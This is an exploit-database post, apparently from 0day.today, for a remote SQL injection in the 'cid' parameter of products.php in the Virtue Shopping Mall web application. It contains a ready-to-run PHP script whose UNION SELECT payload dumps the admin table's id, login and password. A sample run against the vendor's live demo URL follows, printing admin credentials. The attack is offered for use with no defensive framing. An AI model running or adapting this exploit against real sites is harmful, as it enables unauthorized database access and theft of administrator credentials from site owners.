Virtue Shopping Mall (cid) Remote SQL Injection Vulnerability

=============================================================
Virtue Shopping Mall (cid) Remote SQL Injection Vulnerability
=============================================================


CMS : Virtue Shopping Mall
WEB  : http://www.virtuenetz.com/mall/
Archivo : products.php
Variable Tipo : GET
valor : cid
Tipo : SQL Injection
URL : http://www.site.com/products.php?cid=[SQLI]

Exploit :
<?
$web  = $argv[1];
$url = $web."/products.php?cid=8+and+1=0+union+select+all+concat(0x756E646572,id,0x3A,login,0x3A,password,0x736563)+from+admin+limit+0,1";
preg_match_all("/under(.*)sec/",file_get_contents($url),$salida, PREG_PATTERN_ORDER);
$info = explode(":",$salida[1][0]);
echo "ID :".$info[0]."\n";
echo "Usuario : ".$info[1]."\n";
echo "Password : ".$info[2]."\n";
?>


[email protected]:~/Escritorio$ php exploit.php http://www.virtuenetz.com/mall/

ID :1
Usuario : admin
Password : admin




#  0day.today [2018-04-03]  #